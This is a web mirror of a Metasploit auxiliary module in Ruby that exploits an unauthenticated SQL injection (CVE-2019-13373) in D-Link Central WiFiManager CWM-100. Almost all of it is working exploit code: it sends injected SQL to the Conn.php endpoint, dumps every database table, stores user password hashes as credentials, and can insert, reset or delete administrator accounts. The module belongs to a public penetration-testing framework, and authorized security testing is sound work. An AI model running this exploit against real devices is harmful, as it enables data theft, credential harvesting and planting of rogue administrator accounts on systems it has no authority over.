CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/sqli/dlink/dlink_central_wifimanager_sqli.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'csv'
7
require 'digest'
8
9
class MetasploitModule < Msf::Auxiliary
10
include Msf::Exploit::Remote::HttpClient
11
include Msf::Exploit::SQLi
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'D-Link Central WiFiManager SQL injection',
18
'Description' => %q{
19
This module exploits a SQLi vulnerability found in
20
D-Link Central WiFi Manager CWM(100) before v1.03R0100_BETA6. The
21
vulnerability is an exposed API endpoint that allows the execution
22
of SQL queries without authentication, using this vulnerability, it's
23
possible to retrieve usernames and password hashes of registered users,
24
device configuration, and other data, it's also possible to add users,
25
or edit database information.
26
},
27
'License' => MSF_LICENSE,
28
'Author' => [
29
'M3@ZionLab from DBAppSecurity',
30
'Redouane NIBOUCHA <rniboucha[at]yahoo.fr>' # Metasploit module
31
],
32
'References' => [
33
['CVE', '2019-13373'],
34
['URL', 'https://unh3x.github.io/2019/02/21/D-link-(CWM-100)-Multiple-Vulnerabilities/']
35
],
36
'Actions' => [
37
[ 'SQLI_DUMP', { 'Description' => 'Retrieve all the data from the database' } ],
38
[ 'ADD_ADMIN', { 'Description' => 'Add an administrator user' } ],
39
[ 'REMOVE_ADMIN', { 'Description' => 'Remove an administrator user' } ]
40
],
41
'DefaultOptions' => { 'SSL' => true },
42
'DefaultAction' => 'SQLI_DUMP',
43
'DisclosureDate' => '2019-07-06',
44
'Notes' => {
45
'Stability' => [CRASH_SAFE],
46
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS],
47
'Reliability' => []
48
}
49
)
50
)
51
52
register_options(
53
[
54
Opt::RPORT(443),
55
OptString.new('TARGETURI', [true, 'The base path to DLink CWM-100', '/']),
56
OptString.new('USERNAME', [false, 'The username of the user to add/remove']),
57
OptString.new('PASSWORD', [false, 'The password of the user to add/edit'])
58
]
59
)
60
end
61
62
def vulnerable_request(payload)
63
send_request_cgi(
64
'method' => 'POST',
65
'uri' => normalize_uri(target_uri, 'Public', 'Conn.php'),
66
'vars_post' => {
67
'dbAction' => 'S',
68
'dbSQL' => payload
69
}
70
)
71
end
72
73
def check
74
check_error = nil
75
sqli = create_sqli(dbms: PostgreSQLi::Common, opts: { encoder: :base64 }) do |payload|
76
res = vulnerable_request(payload)
77
if res && res.code == 200
78
res.body[%r{<column>(.+)</column>}m, 1] || ''
79
else
80
if res
81
check_error = Exploit::CheckCode::Safe
82
else
83
check_error = Exploit::CheckCode::Unknown('Failed to send HTTP request')
84
end
85
'' # because a String is expected, this will make test_vulnerable to return false, but we will just get check_error
86
end
87
end
88
vulnerable_test = sqli.test_vulnerable
89
check_error || (vulnerable_test ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe)
90
end
91
92
def dump_data(sqli)
93
print_good "DBMS version: #{sqli.version}"
94
table_names = sqli.enum_table_names
95
print_status 'Enumerating tables'
96
table_names.each do |table_name|
97
cols = sqli.enum_table_columns(table_name)
98
vprint_good "#{table_name}(#{cols.join(',')})"
99
# retrieve the data from the table
100
content = sqli.dump_table_fields(table_name, cols)
101
# store hashes as credentials
102
if table_name == 'usertable'
103
user_ind = cols.index('username')
104
pass_ind = cols.index('userpassword')
105
content.each do |entry|
106
create_credential(
107
{
108
module_fullname: fullname,
109
workspace_id: myworkspace_id,
110
username: entry[user_ind],
111
private_data: entry[pass_ind],
112
jtr_format: 'raw-md5',
113
private_type: :nonreplayable_hash,
114
status: Metasploit::Model::Login::Status::UNTRIED
115
}.merge(service_details)
116
)
117
print_good "Saved credentials for #{entry[user_ind]}"
118
end
119
end
120
path = store_loot(
121
'dlink.http',
122
'application/csv',
123
rhost,
124
cols.to_csv + content.map(&:to_csv).join,
125
"#{table_name}.csv"
126
)
127
print_good "#{table_name} saved to #{path}"
128
end
129
end
130
131
def check_admin_username
132
if datastore['USERNAME'].nil?
133
fail_with Failure::BadConfig, 'You must specify a username when adding a user'
134
elsif ['\\', '\''].any? { |c| datastore['USERNAME'].include?(c) }
135
fail_with Failure::BadConfig, 'Admin username cannot contain single quotes or backslashes'
136
end
137
end
138
139
def add_user(sqli)
140
check_admin_username
141
admin_hash = Digest::MD5.hexdigest(datastore['PASSWORD'] || '')
142
user_exists_sql = "select count(1) from usertable where username='#{datastore['USERNAME']}'"
143
# check if user exists, if yes, just change his password
144
if sqli.run_sql(user_exists_sql).to_i == 0
145
print_status 'User not found on the target, inserting'
146
sqli.run_sql('insert into usertable(username,userpassword,level) values(' \
147
"'#{datastore['USERNAME']}', '#{admin_hash}', 1)")
148
else
149
print_status 'User already exists, updating the password'
150
sqli.run_sql("update usertable set userpassword='#{admin_hash}' where " \
151
"username='#{datastore['USERNAME']}'")
152
end
153
end
154
155
def remove_user(sqli)
156
check_admin_username
157
sqli.run_sql("delete from usertable where username='#{datastore['USERNAME']}'")
158
end
159
160
def run
161
unless check == Exploit::CheckCode::Vulnerable
162
print_error 'Target does not seem to be vulnerable'
163
return
164
end
165
print_good 'Target seems vulnerable'
166
sqli = create_sqli(dbms: PostgreSQLi::Common, opts: { encoder: :base64 }) do |payload|
167
res = vulnerable_request(payload)
168
if res && res.code == 200
169
res.body[%r{<column>(.+)</column>}m, 1] || ''
170
else
171
fail_with Failure::Unreachable, 'Failed to send HTTP request' unless res
172
fail_with Failure::NotVulnerable, "Got #{res.code} response code" unless res.code == 200
173
end
174
end
175
case action.name
176
when 'SQLI_DUMP'
177
dump_data(sqli)
178
when 'ADD_ADMIN'
179
add_user(sqli)
180
when 'REMOVE_ADMIN'
181
remove_user(sqli)
182
else
183
fail_with(Failure::BadConfig, "#{action.name} not defined")
184
end
185
end
186
end
187
188